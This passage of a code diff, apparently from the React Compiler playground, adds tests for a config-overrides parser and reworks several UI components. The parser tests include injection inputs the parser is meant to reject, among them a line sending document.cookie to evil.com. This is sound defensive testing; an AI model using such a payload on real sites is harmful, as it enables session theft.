+    assert.deepStrictEqual(result, {
+      compilationMode: 'all',
+      environment: {validateRefAccessDuringRender: false},
+    });
+  });
+
+  test('rejects malicious IIFE injection', () => {
+    const config = `(function(){ document.title = "hacked"; return {}; })()`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects malicious comma operator injection', () => {
+    const config = `{
+  compilationMode: (alert("xss"), "all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects function call in value', () => {
+    const config = `{
+  compilationMode: eval("all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects variable references', () => {
+    const config = `{
+  compilationMode: someVar
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects template literals', () => {
+    const config = `{
+  compilationMode: \`all\`
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects constructor calls', () => {
+    const config = `{
+  compilationMode: new String("all")
+}`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('rejects arbitrary JS code', () => {
+    const config = `fetch("https://evil.com?c=" + document.cookie)`;
+    assert.throws(() => parseConfigOverrides(config));
+  });
+
+  test('config with array values parses correctly', () => {
+    const config = `{
+  sources: ["src/a.ts", "src/b.ts"],
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
+  });
+
+  test('config with null values parses correctly', () => {
+    const config = `{
+  compilationMode: null,
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: null});
+  });
+
+  test('config with numeric values parses correctly', () => {
+    const config = `{
+  maxLevel: 42,
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {maxLevel: 42});
+  });
+});
diff --git a/compiler/apps/playground/app/index.tsx b/compiler/apps/playground/app/index.tsx
deleted file mode 100644
index 75411cd36ef8..000000000000
--- a/compiler/apps/playground/app/index.tsx
+++ /dev/null
@@ -1,58 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import type { NextPage } from "next";
-import Head from "next/head";
-import { SnackbarProvider } from "notistack";
-import { Editor, Header, StoreProvider } from "../components";
-import MessageSnackbar from "../components/Message";
-
-const Home: NextPage = () => {
-  return (
-    <div className="flex flex-col w-screen h-screen font-light">
-      <Head>
-        <title>
-          {process.env.NODE_ENV === "development"
-            ? "[DEV] React Compiler Playground"
-            : "React Compiler Playground"}
-        </title>
-        <meta
-          name="viewport"
-          content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"
-        ></meta>
-        <link rel="icon" href="/favicon.ico" />
-        <link rel="manifest" href="/site.webmanifest" />
-        <link
-          rel="preload"
-          href="/fonts/Source-Code-Pro-Regular.woff2"
-          as="font"
-          type="font/woff2"
-          crossOrigin="anonymous"
-        />
-        <link
-          rel="preload"
-          href="/fonts/Optimistic_Display_W_Lt.woff2"
-          as="font"
-          type="font/woff2"
-          crossOrigin="anonymous"
-        />
-      </Head>
-      <StoreProvider>
-        <SnackbarProvider
-          preventDuplicate
-          maxSnack={10}
-          Components={{ message: MessageSnackbar }}
-        >
-          <Header />
-          <Editor />
-        </SnackbarProvider>
-      </StoreProvider>
-    </div>
-  );
-};
-
-export default Home;
diff --git a/compiler/apps/playground/app/layout.tsx b/compiler/apps/playground/app/layout.tsx
index be0d04e932d9..9a6daac239fa 100644
--- a/compiler/apps/playground/app/layout.tsx
+++ b/compiler/apps/playground/app/layout.tsx
@@ -5,26 +5,25 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import "../styles/globals.css";
+import '../styles/globals.css';
 
 export default function RootLayout({
   children,
 }: {
   children: React.ReactNode;
-}) {
-  "use no memo";
+}): JSX.Element {
+  'use no memo';
   return (
     <html lang="en">
       <head>
         <title>
-          {process.env.NODE_ENV === "development"
-            ? "[DEV] React Compiler Playground"
-            : "React Compiler Playground"}
+          {process.env.NODE_ENV === 'development'
+            ? '[DEV] React Compiler Playground'
+            : 'React Compiler Playground'}
         </title>
         <meta
           name="viewport"
-          content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"
-        ></meta>
+          content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"></meta>
         <link rel="icon" href="/favicon.ico" />
         <link rel="manifest" href="/site.webmanifest" />
         <link
diff --git a/compiler/apps/playground/app/page.tsx b/compiler/apps/playground/app/page.tsx
index e82bda11a640..d5214af422e0 100644
--- a/compiler/apps/playground/app/page.tsx
+++ b/compiler/apps/playground/app/page.tsx
@@ -5,20 +5,19 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use client";
+'use client';
 
-import { SnackbarProvider } from "notistack";
-import { Editor, Header, StoreProvider } from "../components";
-import MessageSnackbar from "../components/Message";
+import {SnackbarProvider} from 'notistack';
+import {Editor, Header, StoreProvider} from '../components';
+import MessageSnackbar from '../components/Message';
 
-export default function Hoot() {
+export default function Page(): JSX.Element {
   return (
     <StoreProvider>
       <SnackbarProvider
         preventDuplicate
         maxSnack={10}
-        Components={{ message: MessageSnackbar }}
-      >
+        Components={{message: MessageSnackbar}}>
         <Header />
         <Editor />
       </SnackbarProvider>
diff --git a/compiler/apps/playground/babel.config.js b/compiler/apps/playground/babel.config.js
deleted file mode 100644
index 900b52dd3028..000000000000
--- a/compiler/apps/playground/babel.config.js
+++ /dev/null
@@ -1,21 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-module.exports = function (api) {
-  api.cache(true);
-  return {
-    presets: ["next/babel"],
-    plugins: [
-      [
-        "babel-plugin-react-compiler",
-        {
-          runtimeModule: "react-compiler-runtime",
-        },
-      ],
-    ],
-  };
-};
diff --git a/compiler/apps/playground/colors.js b/compiler/apps/playground/colors.js
index 7259e1f32bc8..bd5f1426f5ed 100644
--- a/compiler/apps/playground/colors.js
+++ b/compiler/apps/playground/colors.js
@@ -11,86 +11,86 @@
 
 module.exports = {
   // Text colors
-  primary: "#23272F", // gray-90
-  "primary-dark": "#F6F7F9", // gray-5
-  secondary: "#404756", // gray-70
-  "secondary-dark": "#EBECF0", // gray-10
-  link: "#087EA4", // blue-50
-  "link-dark": "#149ECA", // blue-40
-  syntax: "#EBECF0", // gray-10
-  wash: "#FFFFFF",
-  "wash-dark": "#23272F", // gray-90
-  card: "#F6F7F9", // gray-05
-  "card-dark": "#343A46", // gray-80
-  highlight: "#E6F7FF", // blue-10
-  "highlight-dark": "rgba(88,175,223,.1)",
-  border: "#EBECF0", // gray-10
-  "border-dark": "#343A46", // gray-80
-  "secondary-button": "#EBECF0", // gray-10
-  "secondary-button-dark": "#404756", // gray-70
+  primary: '#23272F', // gray-90
+  'primary-dark': '#F6F7F9', // gray-5
+  secondary: '#404756', // gray-70
+  'secondary-dark': '#EBECF0', // gray-10
+  link: '#087EA4', // blue-50
+  'link-dark': '#149ECA', // blue-40
+  syntax: '#EBECF0', // gray-10
+  wash: '#FFFFFF',
+  'wash-dark': '#23272F', // gray-90
+  card: '#F6F7F9', // gray-05
+  'card-dark': '#343A46', // gray-80
+  highlight: '#E6F7FF', // blue-10
+  'highlight-dark': 'rgba(88,175,223,.1)',
+  border: '#EBECF0', // gray-10
+  'border-dark': '#343A46', // gray-80
+  'secondary-button': '#EBECF0', // gray-10
+  'secondary-button-dark': '#404756', // gray-70
 
   // Gray
-  "gray-95": "#16181D",
-  "gray-90": "#23272F",
-  "gray-80": "#343A46",
-  "gray-70": "#404756",
-  "gray-60": "#4E5769",
-  "gray-50": "#5E687E", // unused
-  "gray-40": "#78839B",
-  "gray-30": "#99A1B3",
-  "gray-20": "#BCC1CD",
-  "gray-10": "#EBECF0",
-  "gray-5": "#F6F7F9",
+  'gray-95': '#16181D',
+  'gray-90': '#23272F',
+  'gray-80': '#343A46',
+  'gray-70': '#404756',
+  'gray-60': '#4E5769',
+  'gray-50': '#5E687E', // unused
+  'gray-40': '#78839B',
+  'gray-30': '#99A1B3',
+  'gray-20': '#BCC1CD',
+  'gray-10': '#EBECF0',
+  'gray-5': '#F6F7F9',
 
   // Blue
-  "blue-60": "#045975",
-  "blue-50": "#087EA4",
-  "blue-40": "#149ECA", // Brand Blue
-  "blue-30": "#58C4DC", // unused
-  "blue-20": "#ABE2ED",
-  "blue-10": "#E6F7FF", // todo: doesn't match illustrations
-  "blue-5": "#E6F6FA",
+  'blue-60': '#045975',
+  'blue-50': '#087EA4',
+  'blue-40': '#149ECA', // Brand Blue
+  'blue-30': '#58C4DC', // unused
+  'blue-20': '#ABE2ED',
+  'blue-10': '#E6F7FF', // todo: doesn't match illustrations
+  'blue-5': '#E6F6FA',
 
   // Yellow
-  "yellow-60": "#B65700",
-  "yellow-50": "#C76A15",
-  "yellow-40": "#DB7D27", // unused
-  "yellow-30": "#FABD62", // unused
-  "yellow-20": "#FCDEB0", // unused
-  "yellow-10": "#FDE7C7",
-  "yellow-5": "#FEF5E7",
+  'yellow-60': '#B65700',
+  'yellow-50': '#C76A15',
+  'yellow-40': '#DB7D27', // unused
+  'yellow-30': '#FABD62', // unused
+  'yellow-20': '#FCDEB0', // unused
+  'yellow-10': '#FDE7C7',
+  'yellow-5': '#FEF5E7',
 
   // Purple
-  "purple-60": "#2B3491", // unused
-  "purple-50": "#575FB7",
-  "purple-40": "#6B75DB",
-  "purple-30": "#8891EC",
-  "purple-20": "#C3C8F5", // unused
-  "purple-10": "#E7E9FB",
-  "purple-5": "#F3F4FD",
+  'purple-60': '#2B3491', // unused
+  'purple-50': '#575FB7',
+  'purple-40': '#6B75DB',
+  'purple-30': '#8891EC',
+  'purple-20': '#C3C8F5', // unused
+  'purple-10': '#E7E9FB',
+  'purple-5': '#F3F4FD',
 
   // Green
-  "green-60": "#2B6E62",
-  "green-50": "#388F7F",
-  "green-40": "#44AC99",
-  "green-30": "#7FCCBF",
-  "green-20": "#ABDED5",
-  "green-10": "#E5F5F2",
-  "green-5": "#F4FBF9",
+  'green-60': '#2B6E62',
+  'green-50': '#388F7F',
+  'green-40': '#44AC99',
+  'green-30': '#7FCCBF',
+  'green-20': '#ABDED5',
+  'green-10': '#E5F5F2',
+  'green-5': '#F4FBF9',
 
   // RED
-  "red-60": "#712D28",
-  "red-50": "#A6423A", // unused
-  "red-40": "#C1554D",
-  "red-30": "#D07D77",
-  "red-20": "#E5B7B3", // unused
-  "red-10": "#F2DBD9", // unused
-  "red-5": "#FAF1F0",
+  'red-60': '#712D28',
+  'red-50': '#A6423A', // unused
+  'red-40': '#C1554D',
+  'red-30': '#D07D77',
+  'red-20': '#E5B7B3', // unused
+  'red-10': '#F2DBD9', // unused
+  'red-5': '#FAF1F0',
 
   // MISC
-  "code-block": "#99a1b30f", // gray-30 @ 6%
-  "gradient-blue": "#58C4DC", // Only used for the landing gradient for now.
+  'code-block': '#99a1b30f', // gray-30 @ 6%
+  'gradient-blue': '#58C4DC', // Only used for the landing gradient for now.
   github: {
-    highlight: "#fffbdd",
+    highlight: '#fffbdd',
   },
 };
diff --git a/compiler/apps/playground/components/AccordionWindow.tsx b/compiler/apps/playground/components/AccordionWindow.tsx
new file mode 100644
index 000000000000..a239bb13465e
--- /dev/null
+++ b/compiler/apps/playground/components/AccordionWindow.tsx
@@ -0,0 +1,126 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {Resizable} from 're-resizable';
+import React, {
+  useId,
+  unstable_ViewTransition as ViewTransition,
+  unstable_addTransitionType as addTransitionType,
+  startTransition,
+} from 'react';
+import {EXPAND_ACCORDION_TRANSITION} from '../lib/transitionTypes';
+
+type TabsRecord = Map<string, React.ReactNode>;
+
+export default function AccordionWindow(props: {
+  defaultTab: string | null;
+  tabs: TabsRecord;
+  tabsOpen: Set<string>;
+  setTabsOpen: (newTab: Set<string>) => void;
+  changedPasses: Set<string>;
+}): React.ReactElement {
+  return (
+    <div className="flex-1 min-w-[550px] sm:min-w-0">
+      <div className="flex flex-row h-full">
+        {Array.from(props.tabs.keys()).map(name => {
+          return (
+            <AccordionWindowItem
+              name={name}
+              key={name}
+              tabs={props.tabs}
+              tabsOpen={props.tabsOpen}
+              setTabsOpen={props.setTabsOpen}
+              hasChanged={props.changedPasses.has(name)}
+            />
+          );
+        })}
+      </div>
+    </div>
+  );
+}
+
+function AccordionWindowItem({
+  name,
+  tabs,
+  tabsOpen,
+  setTabsOpen,
+  hasChanged,
+}: {
+  name: string;
+  tabs: TabsRecord;
+  tabsOpen: Set<string>;
+  setTabsOpen: (newTab: Set<string>) => void;
+  hasChanged: boolean;
+  isFailure: boolean;
+}): React.ReactElement {
+  const id = useId();
+  const isShow = tabsOpen.has(name);
+
+  const transitionName = `accordion-window-item-${id}`;
+
+  const toggleTabs = (): void => {
+    startTransition(() => {
+      addTransitionType(EXPAND_ACCORDION_TRANSITION);
+      const nextState = new Set(tabsOpen);
+      if (nextState.has(name)) {
+        nextState.delete(name);
+      } else {
+        nextState.add(name);
+      }
+      setTabsOpen(nextState);
+    });
+  };
+
+  // Replace spaces with non-breaking spaces
+  const displayName = name.replace(/ /g, '\u00A0');
+
+  return (
+    <div key={name} className="flex flex-row">
+      {isShow ? (
+        <ViewTransition
+          name={transitionName}
+          update={{
+            [EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',
+            default: 'none',
+          }}>
+          <Resizable className="border-r" minWidth={550} enable={{right: true}}>
+            <h2
+              title="Minimize tab"
+              aria-label="Minimize tab"
+              onClick={toggleTabs}
+              className={`p-4 duration-150 ease-in border-b cursor-pointer border-grey-200 ${
+                hasChanged ? 'font-bold' : 'font-light'
+              } text-secondary hover:text-link`}>
+              - {displayName}
+            </h2>
+            {tabs.get(name) ?? <div>No output for {name}</div>}
+          </Resizable>
+        </ViewTransition>
+      ) : (
+        <ViewTransition
+          name={transitionName}
+          update={{
+            [EXPAND_ACCORDION_TRANSITION]: 'expand-accordion',
+            default: 'none',
+          }}>
+          <div className="relative items-center h-full px-1 py-6 align-middle border-r border-grey-200">
+            <button
+              title={`Expand compiler tab: ${name}`}
+              aria-label={`Expand compiler tab: ${name}`}
+              style={{transform: 'rotate(90deg) translate(-50%)'}}
+              onClick={toggleTabs}
+              className={`flex-grow-0 w-5 transition-colors duration-150 ease-in ${
+                hasChanged ? 'font-bold' : 'font-light'
+              } text-secondary hover:text-link`}>
+              {displayName}
+            </button>
+          </div>
+        </ViewTransition>
+      )}
+    </div>
+  );
+}
diff --git a/compiler/apps/playground/components/Editor/ConfigEditor.tsx b/compiler/apps/playground/components/Editor/ConfigEditor.tsx
new file mode 100644
index 000000000000..f17bec762820
--- /dev/null
+++ b/compiler/apps/playground/components/Editor/ConfigEditor.tsx
@@ -0,0 +1,206 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import MonacoEditor, {loader, type Monaco} from '@monaco-editor/react';
+import type {editor} from 'monaco-editor';
+import * as monaco from 'monaco-editor';
+import React, {
+  useState,
+  useRef,
+  unstable_ViewTransition as ViewTransition,
+  unstable_addTransitionType as addTransitionType,
+  startTransition,
+} from 'react';
+import {Resizable} from 're-resizable';
+import {useStore, useStoreDispatch} from '../StoreContext';
+import {monacoConfigOptions} from './monacoOptions';
+import {IconChevron} from '../Icons/IconChevron';
+import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
+
+loader.config({monaco});
+
+export default function ConfigEditor({
+  formattedAppliedConfig,
+}: {
+  formattedAppliedConfig: string;
+}): React.ReactElement {
+  const [isExpanded, setIsExpanded] = useState(false);
+
+  // TODO: Add back <Activity> after upgrading next.js
+  return (
+    <>
+      <div
+        style={{
+          display: isExpanded ? 'block' : 'none',
+        }}>
+        {/* <Activity mode={isExpanded ? 'visible' : 'hidden'}> */}
+        <ExpandedEditor
+          onToggle={() => {
+            startTransition(() => {
+              addTransitionType(CONFIG_PANEL_TRANSITION);
+              setIsExpanded(false);
+            });
+          }}
+          formattedAppliedConfig={formattedAppliedConfig}
+        />
+      </div>
+      <div
+        style={{
+          display: !isExpanded ? 'block' : 'none',
+        }}>
+        {/* </Activity>
+        <Activity mode={isExpanded ? 'hidden' : 'visible'}></Activity> */}
+        <CollapsedEditor
+          onToggle={() => {
+            startTransition(() => {
+              addTransitionType(CONFIG_PANEL_TRANSITION);
+              setIsExpanded(true);
+            });
+          }}
+        />
+      </div>
+      {/* </Activity> */}
+    </>
+  );
+}
+
+function ExpandedEditor({
+  onToggle,
+  formattedAppliedConfig,
+}: {
+  onToggle: (expanded: boolean) => void;
+  formattedAppliedConfig: string;
+}): React.ReactElement {
+  const store = useStore();
+  const dispatchStore = useStoreDispatch();
+  const debounceTimerRef = useRef<NodeJS.Timeout | null>(null);
+
+  const handleChange: (value: string | undefined) => void = (
+    value: string | undefined,
+  ) => {
+    if (value === undefined) return;
+
+    if (debounceTimerRef.current) {
+      clearTimeout(debounceTimerRef.current);
+    }
+
+    debounceTimerRef.current = setTimeout(() => {
+      dispatchStore({
+        type: 'updateConfig',
+        payload: {
+          config: value,
+        },
+      });
+    }, 500); // 500ms debounce delay
+  };
+
+  const handleMount: (
+    _: editor.IStandaloneCodeEditor,
+    monaco: Monaco,
+  ) => void = (_, monaco) => {
+    // Enable comments in JSON for JSON5-style config
+    monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
+      allowComments: true,
+      trailingCommas: 'ignore',
+    });
+  };
+
+  return (
+    <ViewTransition
+      update={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}>
+      {/* enter={{[CONFIG_PANEL_TRANSITION]: 'slide-in', default: 'none'}}
+      exit={{[CONFIG_PANEL_TRANSITION]: 'slide-out', default: 'none'}}> */}
+      <Resizable
+        minWidth={300}
+        maxWidth={600}
+        defaultSize={{width: 350}}
+        enable={{right: true, bottom: false}}>
+        <div className="bg-blue-10 relative h-full flex flex-col !h-[calc(100vh_-_3.5rem)] border border-gray-300">
+          <div
+            className="absolute w-8 h-16 bg-blue-10 rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-l-0 border-gray-300"
+            title="Minimize config editor"
+            onClick={onToggle}
+            style={{
+              top: '50%',
+              marginTop: '-32px',
+              right: '-32px',
+              borderTopLeftRadius: 0,
+              borderBottomLeftRadius: 0,
+            }}>
+            <IconChevron displayDirection="left" className="text-blue-50" />
+          </div>
+
+          <div className="flex-1 flex flex-col m-2 mb-2">
+            <div className="pb-2">
+              <h2 className="inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm">
+                Config Overrides
+              </h2>
+            </div>
+            <div className="flex-1 border border-gray-300">
+              <MonacoEditor
+                path={'config.json5'}
+                language={'json'}
+                value={store.config}
+                onMount={handleMount}
+                onChange={handleChange}
+                loading={''}
+                className="monaco-editor-config"
+                options={monacoConfigOptions}
+              />
+            </div>
+          </div>
+          <div className="flex-1 flex flex-col m-2">
+            <div className="pb-2">
+              <h2 className="inline-block text-blue-50 py-1.5 px-1.5 xs:px-3 sm:px-4 text-sm">
+                Applied Configs
+              </h2>
+            </div>
+            <div className="flex-1 border border-gray-300">
+              <MonacoEditor
+                path={'applied-config.js'}
+                language={'javascript'}
+                value={formattedAppliedConfig}
+                loading={''}
+                className="monaco-editor-applied-config"
+                options={{
+                  ...monacoConfigOptions,
+                  readOnly: true,
+                }}
+              />
+            </div>
+          </div>
+        </div>
+      </Resizable>
+    </ViewTransition>
+  );
+}
+
+function CollapsedEditor({
+  onToggle,
+}: {
+  onToggle: () => void;
+}): React.ReactElement {
+  return (
+    <div
+      className="w-4 !h-[calc(100vh_-_3.5rem)]"
+      style={{position: 'relative'}}>
+      <div
+        className="absolute w-10 h-16 bg-blue-10 hover:translate-x-2 transition-transform rounded-r-full flex items-center justify-center z-[2] cursor-pointer border border-gray-300"
+        title="Expand config editor"
+        onClick={onToggle}
+        style={{
+          top: '50%',
+          marginTop: '-32px',
+          left: '-8px',
+          borderTopLeftRadius: 0,
+          borderBottomLeftRadius: 0,
+        }}>
+        <IconChevron displayDirection="right" className="text-blue-50" />
+      </div>
+    </div>
+  );
+}
diff --git a/compiler/apps/playground/components/Editor/EditorImpl.tsx b/compiler/apps/playground/components/Editor/EditorImpl.tsx
index e8a1177b4e43..5b39b91654e2 100644
--- a/compiler/apps/playground/components/Editor/EditorImpl.tsx
+++ b/compiler/apps/playground/components/Editor/EditorImpl.tsx
@@ -5,329 +5,63 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { parse, ParserPlugin } from "@babel/parser";
-import traverse, { NodePath } from "@babel/traverse";
-import * as t from "@babel/types";
 import {
-  CompilerError,
   CompilerErrorDetail,
-  Effect,
-  ErrorSeverity,
-  parseConfigPragma,
-  printHIR,
-  printReactiveFunction,
-  run,
-  ValueKind,
-  type Hook,
-} from "babel-plugin-react-compiler/src";
-import { type ReactFunctionType } from "babel-plugin-react-compiler/src/HIR/Environment";
-import clsx from "clsx";
-import invariant from "invariant";
-import { useSnackbar } from "notistack";
-import { useDeferredValue, useMemo } from "react";
-import { useMountEffect } from "../../hooks";
-import { defaultStore } from "../../lib/defaultStore";
-import {
-  createMessage,
-  initStoreFromUrlOrLocalStorage,
-  MessageLevel,
-  MessageSource,
-  type Store,
-} from "../../lib/stores";
-import { useStore, useStoreDispatch } from "../StoreContext";
-import Input from "./Input";
-import {
-  CompilerOutput,
-  default as Output,
-  PrintedCompilerPipelineValue,
-} from "./Output";
-
-function parseFunctions(
-  source: string
-): Array<
-  NodePath<
-    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
-> {
-  const items: Array<
-    NodePath<
-      t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-    >
-  > = [];
-  try {
-    const isFlow = source
-      .trim()
-      .split("\n", 1)[0]
-      .match(/\s*\/\/\s*\@flow\s*/);
-    let type_transform: ParserPlugin;
-    if (isFlow) {
-      type_transform = "flow";
-    } else {
-      type_transform = "typescript";
-    }
-    const ast = parse(source, {
-      plugins: [type_transform, "jsx"],
-      sourceType: "module",
-    });
-    traverse(ast, {
-      FunctionDeclaration(nodePath) {
-        items.push(nodePath);
-        nodePath.skip();
-      },
-      ArrowFunctionExpression(nodePath) {
-        items.push(nodePath);
-        nodePath.skip();
-      },
-      FunctionExpression(nodePath) {
-        items.push(nodePath);
-        nodePath.skip();
-      },
-    });
-  } catch (e) {
-    console.error(e);
-    CompilerError.throwInvalidJS({
-      reason: String(e),
-      description: null,
-      loc: null,
-      suggestions: null,
-    });
-  }
-  return items;
-}
+  CompilerDiagnostic,
+} from 'babel-plugin-react-compiler';
+import {useDeferredValue, useMemo, useState} from 'react';
+import {useStore} from '../StoreContext';
+import ConfigEditor from './ConfigEditor';
+import Input from './Input';
+import {CompilerOutput, default as Output} from './Output';
+import {compile} from '../../lib/compilation';
+import prettyFormat from 'pretty-format';
 
-const COMMON_HOOKS: Array<[string, Hook]> = [
-  [
-    "useFragment",
-    {
-      valueKind: ValueKind.Frozen,
-      effectKind: Effect.Freeze,
-      noAlias: true,
-      transitiveMixedData: true,
-    },
-  ],
-  [
-    "usePaginationFragment",
-    {
-      valueKind: ValueKind.Frozen,
-      effectKind: Effect.Freeze,
-      noAlias: true,
-      transitiveMixedData: true,
-    },
-  ],
-  [
-    "useRefetchableFragment",
-    {
-      valueKind: ValueKind.Frozen,
-      effectKind: Effect.Freeze,
-      noAlias: true,
-      transitiveMixedData: true,
-    },
-  ],
-  [
-    "useLazyLoadQuery",
-    {
-      valueKind: ValueKind.Frozen,
-      effectKind: Effect.Freeze,
-      noAlias: true,
-      transitiveMixedData: true,
-    },
-  ],
-  [
-    "usePreloadedQuery",
-    {
-      valueKind: ValueKind.Frozen,
-      effectKind: Effect.Freeze,
-      noAlias: true,
-      transitiveMixedData: true,
-    },
-  ],
-];
-
-function isHookName(s: string): boolean {
-  return /^use[A-Z0-9]/.test(s);
-}
-
-function getReactFunctionType(
-  id: NodePath<t.Identifier | null | undefined>
-): ReactFunctionType {
-  if (id && id.node && id.isIdentifier()) {
-    if (isHookName(id.node.name)) {
-      return "Hook";
-    }
-
-    const isPascalCaseNameSpace = /^[A-Z].*/;
-    if (isPascalCaseNameSpace.test(id.node.name)) {
-      return "Component";
-    }
-  }
-  return "Other";
-}
-
-function compile(source: string): CompilerOutput {
-  const results = new Map<string, PrintedCompilerPipelineValue[]>();
-  const error = new CompilerError();
-  const upsert = (result: PrintedCompilerPipelineValue) => {
-    const entry = results.get(result.name);
-    if (Array.isArray(entry)) {
-      entry.push(result);
-    } else {
-      results.set(result.name, [result]);
-    }
-  };
-  try {
-    // Extract the first line to quickly check for custom test directives
-    const pragma = source.substring(0, source.indexOf("\n"));
-    const config = parseConfigPragma(pragma);
-
-    for (const fn of parseFunctions(source)) {
-      if (!fn.isFunctionDeclaration()) {
-        error.pushErrorDetail(
-          new CompilerErrorDetail({
-            reason: `Unexpected function type ${fn.node.type}`,
-            description:
-              "Playground only supports parsing function declarations",
-            severity: ErrorSeverity.Todo,
-            loc: fn.node.loc ?? null,
-            suggestions: null,
-          })
-        );
-        continue;
-      }
-
-      const id = fn.get("id");
-      for (const result of run(
-        fn,
-        {
-          ...config,
-          customHooks: new Map([...COMMON_HOOKS]),
-        },
-        getReactFunctionType(id),
-        "_c",
-        null,
-        null,
-        null
-      )) {
-        const fnName = fn.node.id?.name ?? null;
-        switch (result.kind) {
-          case "ast": {
-            upsert({
-              kind: "ast",
-              fnName,
-              name: result.name,
-              value: {
-                type: "FunctionDeclaration",
-                id: result.value.id,
-                async: result.value.async,
-                generator: result.value.generator,
-                body: result.value.body,
-                params: result.value.params,
-              },
-            });
-            break;
-          }
-          case "hir": {
-            upsert({
-              kind: "hir",
-              fnName,
-              name: result.name,
-              value: printHIR(result.value.body),
-            });
-            break;
-          }
-          case "reactive": {
-            upsert({
-              kind: "reactive",
-              fnName,
-              name: result.name,
-              value: printReactiveFunction(result.value),
-            });
-            break;
-          }
-          case "debug": {
-            upsert({
-              kind: "debug",
-              fnName,
-              name: result.name,
-              value: result.value,
-            });
-            break;
-          }
-          default: {
-            const _: never = result;
-            throw new Error(`Unhandled result ${result}`);
-          }
-        }
-      }
-    }
-  } catch (err) {
-    // error might be an invariant violation or other runtime error
-    // (i.e. object shape that is not CompilerError)
-    if (err instanceof CompilerError && err.details.length > 0) {
-      error.details.push(...err.details);
-    } else {
-      // Handle unexpected failures by logging (to get a stack trace)
-      // and reporting
-      console.error(err);
-      error.details.push(
-        new CompilerErrorDetail({
-          severity: ErrorSeverity.Invariant,
-          reason: `Unexpected failure when transforming input! ${err}`,
-          loc: null,
-          suggestions: null,
-        })
-      );
-    }
-  }
-  if (error.hasErrors()) {
-    return { kind: "err", results, error: error };
-  }
-  return { kind: "ok", results };
-}
-
-export default function Editor() {
+export default function Editor(): JSX.Element {
   const store = useStore();
   const deferredStore = useDeferredValue(store);
-  const dispatchStore = useStoreDispatch();
-  const { enqueueSnackbar } = useSnackbar();
-  const compilerOutput = useMemo(
-    () => compile(deferredStore.source),
-    [deferredStore.source]
+  const [compilerOutput, language, appliedOptions] = useMemo(
+    () => compile(deferredStore.source, 'compiler', deferredStore.config),
+    [deferredStore.source, deferredStore.config],
   );
+  const [linterOutput] = useMemo(
+    () => compile(deferredStore.source, 'linter', deferredStore.config),
+    [deferredStore.source, deferredStore.config],
+  );
+  const [formattedAppliedConfig, setFormattedAppliedConfig] = useState('');
 
-  useMountEffect(() => {
-    let mountStore: Store;
-    try {
-      mountStore = initStoreFromUrlOrLocalStorage();
-    } catch (e) {
-      invariant(e instanceof Error, "Only Error may be caught.");
-      enqueueSnackbar(e.message, {
-        variant: "message",
-        ...createMessage(
-          "Bad URL - fell back to the default Playground.",
-          MessageLevel.Info,
-          MessageSource.Playground
-        ),
-      });
-      mountStore = defaultStore;
-    }
-    dispatchStore({
-      type: "setStore",
-      payload: { store: mountStore },
+  let mergedOutput: CompilerOutput;
+  let errors: Array<CompilerErrorDetail | CompilerDiagnostic>;
+  if (compilerOutput.kind === 'ok') {
+    errors = linterOutput.kind === 'ok' ? [] : linterOutput.error.details;
+    mergedOutput = {
+      ...compilerOutput,
+      errors,
+    };
+  } else {
+    mergedOutput = compilerOutput;
+    errors = compilerOutput.error.details;
+  }
+
+  if (appliedOptions) {
+    const formatted = prettyFormat(appliedOptions, {
+      printFunctionName: false,
+      printBasicPrototype: false,
     });
-  });
+    if (formatted !== formattedAppliedConfig) {
+      setFormattedAppliedConfig(formatted);
+    }
+  }
 
   return (
     <>
-      <div className="relative flex basis top-14">
-        <div className={clsx("relative sm:basis-1/4")}>
-          <Input
-            errors={
-              compilerOutput.kind === "err" ? compilerOutput.error.details : []
-            }
-          />
+      <div className="relative flex top-14">
+        <div className="flex-shrink-0">
+          <ConfigEditor formattedAppliedConfig={formattedAppliedConfig} />
         </div>
-        <div className={clsx("flex sm:flex flex-wrap")}>
-          <Output store={deferredStore} compilerOutput={compilerOutput} />
+        <div className="flex flex-1 min-w-0">
+          <Input language={language} errors={errors} />
+          <Output store={deferredStore} compilerOutput={mergedOutput} />
         </div>
       </div>
     </>
diff --git a/compiler/apps/playground/components/Editor/Input.tsx b/compiler/apps/playground/components/Editor/Input.tsx
index 8b6f85455efa..8c37b12975b8 100644
--- a/compiler/apps/playground/components/Editor/Input.tsx
+++ b/compiler/apps/playground/components/Editor/Input.tsx
@@ -5,27 +5,36 @@
  * LICENSE file in the root directory of this source tree.
  */
 
